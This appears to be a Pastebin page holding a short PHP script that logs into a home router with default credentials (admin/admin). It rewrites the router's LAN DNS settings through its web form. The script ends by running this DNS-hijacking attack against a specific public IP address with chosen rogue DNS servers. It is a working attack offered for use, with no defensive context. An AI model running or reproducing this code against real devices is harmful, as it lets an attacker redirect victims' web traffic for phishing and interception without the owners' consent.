Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function injectDNS($ip,$user,$pass, $dns1="", $dns2=""){
- $ip = "http://".$ip."/Forms/home_lan_1";
- $dns['uiViewDNSRelay'] = "1";
- $dns['uiViewDns1Mark'] = $dns1;
- $dns['uiViewDns2Mark'] = $dns2;
- $dns['dhcpTypeRadio'] = "1";
- $dns['uiViewIPAddr'] = "192.168.1.1";
- $dns['uiViewNetMask'] = "255.255.255.0";
- $dns['lan_RIPVersion'] = "0";
- $dns['lan_RIPDirection'] = "0";
- $dns['lan_IGMP']="1";
- $dns['igmp_snoop_act']="1";
- $dns['dhcp_StartIP']="192.168.1.100";
- $dns['sysPoolCount']="32";
- $defaults = array(
- CURLOPT_POST => 1,
- CURLOPT_HEADER => 1,
- CURLOPT_URL => $ip,
- CURLOPT_USERPWD => $user.':'.$pass,
- CURLOPT_HTTPAUTH => CURLAUTH_BASIC,
- CURLOPT_FRESH_CONNECT => 1,
- CURLOPT_RETURNTRANSFER => 1,
- CURLOPT_FORBID_REUSE => 1,
- CURLOPT_TIMEOUT => 4,
- CURLOPT_COOKIEFILE => 'cookie.txt',
- CURLOPT_FOLLOWLOCATION => true,
- CURLOPT_POSTFIELDS => http_build_query($dns)
- );
- $c = curl_init();
- curl_setopt_array($c, $defaults);
- if(!$result = curl_exec($c)) trigger_error(curl_error($c));
- return $result;
- }
- echo injectDNS("62.98.8.184","admin","admin", $dns1="123.123.123.123", $dns2="111.111.111.111")
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement